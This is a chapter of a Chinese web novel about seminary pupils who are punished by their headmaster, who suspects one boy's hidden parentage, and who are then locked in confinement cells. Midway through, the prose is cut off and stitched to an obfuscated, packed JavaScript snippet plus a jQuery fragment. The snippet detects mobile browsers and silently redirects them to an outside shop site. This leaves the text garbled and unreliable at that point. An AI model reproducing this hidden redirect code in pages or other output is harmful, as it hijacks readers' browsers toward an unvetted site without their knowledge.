17. 禁闭室
    没人能逃过制裁,参与斗殴的人被勒令罚抄圣经。

    三个主犯此时正在校长室里等待处罚,诺尔的冷汗要从额头上滴落下来了,祝尧睁着大大的眼睛看着校长室的装饰。

    米尔顿躺在一副担架上,他的制服下半身消失,腰间围着一块方巾,下身做了紧急处理,他现在的模样非常没有尊严,额头上的青筋在跳动。

    赫德森坐在桌后背对着他们,他们只能看到校长宽大的肩膀,还有室内飘着轻盈的尼古丁味道。

    “校长……”诺尔开口,他此时的神情很惶恐,像是对赫德森害怕极了。

    随着他的呼唤,赫德森转过椅子,嘴上叼着雪茄,双手交叠放在胸前。

    “诺尔·亚当斯,亚当斯伯爵的儿子,按照正常发展,你本可以继承你父亲伯爵的身份,但可惜在一次党政活动中亚当斯伯爵做错了决定被关进监狱。祈祷议会上大家不会一致同意剥夺伯爵的封号吧。”赫德森随意地说。

    诺尔的脸色又红又白,根本无法辩驳。

    赫德森看向地上的米尔顿,笑起来,烟灰抖落到羊毛地毯上:“瞧瞧我们的米尔顿小子滑稽的样子。”

    米尔顿哀怨地捂住脸。

    “你的父亲正在焦头烂额的准备下一任议长选举呢,如果让他知道他的儿子在学校里这种英勇的表现,怕是那满是肥油的肚子要气得炸裂开来。”

    他毫不留情的批评每一个人,并对他们了如指掌,懂得如何用语言让他们羞愧,赫德森担任神学院校长这么多年,见过的学生数也数不清,但他总能在需要的时候从脑海里调出那个学生的资料。

    “让我们来看看这个……”赫德森转向祝尧。

    祝尧听到终于要轮到自己了,脸从不知名的一处扭转过来,兴奋地直面校长。

    赫德森的声音忽然消失,他嘴里的雪茄掉落到桌子上,又从桌子上弹起掉到地毯上,将上好的羊毛地毯烧出焦黑的窟窿。

    好在另外两个学生都羞愧地低着头,只有祝尧看到他的窘态。

    赫德森用脚踩灭雪茄的火星,调整一下坐姿,声音恢复正常。

    “你叫什么?”他问。

    祝尧有些失望,没能从他的嘴中听到自己的名字,显然这位校长并不了解他。

    “祝尧。”他说。

    赫德森用非常讶异的眼神看着祝尧的脸和他那双黑色眼睛,但他最后还是没有多说什么,只宣判了结果。

    “对于三位在课堂上的表现我自然会给予公平的判决,那么,请各位前往禁闭室进行三日游吧。”

    米尔顿不敢置信:“校长,我也要关禁闭?!”

    他指着下身,在未来的一段时间里他会受尽苦头,只是一点动作都容易撕扯到从而剧烈疼痛。

    “当然,医生已经为你处理过了,并且保证不会对你日后繁衍后代造成影响不是吗?”赫德森反问他,一脸的不容置疑。

    米尔顿脸色灰败。

    这时候诺尔抬起头说:“我接受惩罚,但是这件事和祝尧没有关系,他只是被连累了,是米尔顿先出手抓他的头发。”

    祝尧点点头,看起来老实的不成样子,任谁也想不到他是造成地下站不起来的罪魁祸首。

    米尔顿瞪向诺尔,诺尔毫不退缩的回瞪,俩人又像公牛一样较起劲来。

    赫德森被祝尧点头附和的样子逗笑,他咳嗽一声,问:

    “那么两位英俊的勇者,为什么要在警卫到来的时候逃跑呢?并且绕了一圈躲进女厕,让进去的女教师害怕大叫才引来警卫将你们抓捕。”

    “因为禁闭室太黑了,而且里面什么都没有。至于女厕这不是慌乱之中不小心走错路了吗?”诺尔心虚的左顾右盼,同时给祝尧递了个眼色示意他不要乱说话。

    其实当然是因为警卫们根本不会想到他们会进入女厕所,这种反其道而行的决策让他们顺利躲过了第一轮搜查,只是没能料到那个时候会有女教师进来。

    要知道神学院的女教师数量非常稀少,而学院内的女厕数量很多,只是不巧他们遇到了。

    赫德森不置可否,转向脚在地毯上乱动的祝尧,“……那么你呢。”

    祝尧犹豫了一下,说:“我担心因为犯错会被取消我在学院里的工作,我需要这份工作留在学校。”

    赫德森的脸色忽然复杂,他转过去椅子,声音掷下来:“情况已经很明了了,请各位迎接处罚吧。”

    警卫打开校长室的大门,两个人抬起米尔顿的担架走出去,诺尔和祝尧垂头丧气的跟在后面。

    安德鲁主任关上门,脚步声敲在地毯上发出闷响。

    “我不知道我们什么时候还提供给学生工作。”赫德森语气有些怪异。

    站在桌前的赫德森束着手略有些尴尬地说:“那名贫困的学生因为负担不起学杂费提出退学,但是他的入学测试非常优秀。而教皇的雕像,他不是已经无数次提起学院不够尊重他吗,留给我们的学生一个机会何乐而不为呢。”

    “……你见过弗吉尼亚年轻时的样子吗?”赫德森又点起烟,声音沙哑颓丧,“那个男孩的脸太像他了。”

    安德鲁如同被雷劈中一般僵立在原地,他结巴起来:“您,您是说他是……”

    “教皇的孩子?!”他立刻想起那头金色的长发,如此纯正的金色并不多见。

    “他的眼睛是属于那个女人的眼睛。”赫德森叹息,又问副手,“他是从哪里来的?”

    安德鲁明白他是在问祝尧,却仍惊疑不定:“一个叫撒格鲁的小镇,毫不起眼。”

    “我们都以为她已经死去了。”赫德森有些难过,但随之而来的是愤怒,他大喊,“弗吉尼亚那个混蛋!她该受到多少磨难。”

    忽然,这个壮汉捂住脸哭泣,是一种细雨落在地面的哭泣,肩膀无声抽动,那是时隔多年的悲伤再次席卷而来的无助。

    烧毁的羊毛地毯散发出味道,安德鲁垂眸看着这个窝在座椅中的男人,他曾经是骄傲的将军,在深夜敲响有罪者的门,犯了罪的人会将头抵在门后,诉说自己的悔恨,祈求他饶过自己,然而那如死神一般的男人冷硬地站着不发一言,等待面前的门开启。

    直到后来他成为神学院的校长,谁也没想到一个手上沾满鲜血的男人居然会寻求神的庇佑,但他的可怕留在每个人的心里。

    诺尔紧挨着祝尧,在前往禁闭室的路上,他少有的后悔了,和他的兄弟依靠着取暖。

    “对不起,连累你了。”他看到祝尧的发尾被揉成乱糟糟的一团,都是米尔顿那个蠢货。

    祝尧没有在意,他轻声说:“没关系,我很感谢你能将那本书送给我。”

    说到这个诺尔更加心虚,但是他挺挺胸膛说:“那本书没什么特别的,我家里还有老爹珍藏的书,等我从禁闭室出去就拿来给你。”

    直到靠近禁闭室,诺尔吞咽口水的声音甚至吵到了祝尧,他狐疑的看着那座没有窗户的房子,难不成里面还放了可怕的怪物?

    但是诺尔只是说:“那里面像地牢,你见过地牢吗?阴暗潮湿,可能会有老鼠。我之前去探望我老爹的时候,老鼠甚至沿着墙面挂在我的头顶吱吱叫。”

    “而神学院的禁闭室,听说是比地牢还要可怕的地方,因为里面一点光亮也没有。地牢甚至还有牢头,有灯,但是禁闭室太黑暗了!”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13289272|140128||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>祝尧安慰诺尔:“我们只是关上三天,很快就出来了,而且最惨的是米尔顿。”

    没错,米尔顿被警卫们抬着时甚至没有睁眼,一副让我死掉的模样,被送进禁闭室时被随意扔在地上后,警卫们就不发一言走掉了。

    他的关键部位还在隐隐作痛,接触到冰冷的地面后他的臀部猛地跳动,更是牵连到前面的伤。

    三个人被关在不同的地方,本来走廊上还有些光亮,但是沉重的铁门关闭后,这一方小小的地方就漆黑无比,空气从不知道哪个角落的管道里送进来,才不那么让人觉得窒息。

    祝尧想到诺尔说的老鼠,如果这里有的话,他们可以互相陪伴,不至于太过孤单,但是禁闭室内除了从管道送进来的细微风声之外就没有其他声音了。

    这是一种寂静的惩罚,没人能在绝对寂静中保持冷静。

    但是祝尧坐在墙角适应的很好,他并不害怕黑暗,也不怕孤独。

    忽然“啪”的一声,灯丝点亮的声音,一瞬间光芒充斥了整间屋子,照亮了墙壁。

    祝尧眨眨眼适应突如其来的光明,看到禁闭室的角落有一张还算干净的床,他拍拍衣服躺了上去。

    免费的住宿,禁闭也没有诺尔说的那么糟糕嘛!

    在这里吃了两顿饭后他们就被放了出来,为此祝尧还有些遗憾,像这种白吃白喝还包住宿的日子离开这里哪里还会有呢。

    与祝尧形成鲜明对比的是诺尔,他脸上原本的伤口已经结痂,眼眶上的乌青好转,只是整个人跟被摧残了一般,眼睛遍布血丝,下一秒就要落下泪来。

    至于米尔顿,出来的时候已经昏过去了,被他母亲哭哭啼啼接走回家养伤了,但是米尔顿的父亲是绝对不敢找赫德森麻烦的。

    前来带领他们的是安德鲁,这位温和的先生像彬彬有礼的绅士。诺尔惧怕赫德森,但对他的副手安德鲁十分熟稔与亲近。

    他苍白着脸,还不太习惯面对阳光,眯着眼问:“安德鲁叔叔,不是三天吗,怎么关了一天就放出来了?”

    安德鲁看向面色红润的祝尧,片刻后说:“是校长仁慈,不希望你们落后课程。”

    随即他转移话题拍了拍诺尔的肩膀说:“你父亲过些天就放出来了,不要太担心,只是审查,我们都知道亚当斯伯爵是位正直的官员,只是有时候性格过于直率。”

    诺尔欣喜点头。

    安德鲁在跟诺尔谈话的时候一直关注着祝尧,那个少年向自己看过来张嘴的时候,他立刻侧过头去,温和地说:

    “有什么能为您效劳的?”

    祝尧的神色有些讶异,感叹于他的好教养,他踌躇说:“我还能去擦雕像吗?这份工作我很合适,我体重轻,擅长攀登,而且体力也很可以……”

    安德鲁失笑,原来他害怕因为这件事失去工作。

    “当然,它只属于你。”

    “谢谢您!”祝尧鞠躬,“我现在就可以去工作。”

    诺尔像幽灵一样复杂地看着活力四射的祝尧:“那么恐怖的禁闭室也没能打倒你,你真是出乎意料的坚强。”

    祝尧说:“并不恐怖啊,老实说那里甚至比我在约撒尔住的旅馆的床还舒服。”

    “那么黑的地方你还能安稳睡着?”诺尔不敢置信。

    “不黑啊……”

    在得知祝尧的禁闭室居然有灯光时,诺尔少爷愤怒了,出奇的愤怒,控诉校方区别对待。

    但对此,教导处给出的解释是,那间禁闭室的线路恰好很不幸的坏掉了。再问就是两手一摊:你不相信我们也没办法,不服气就去法庭告我们去吧。

    诺尔只能恨恨地咽下这口气。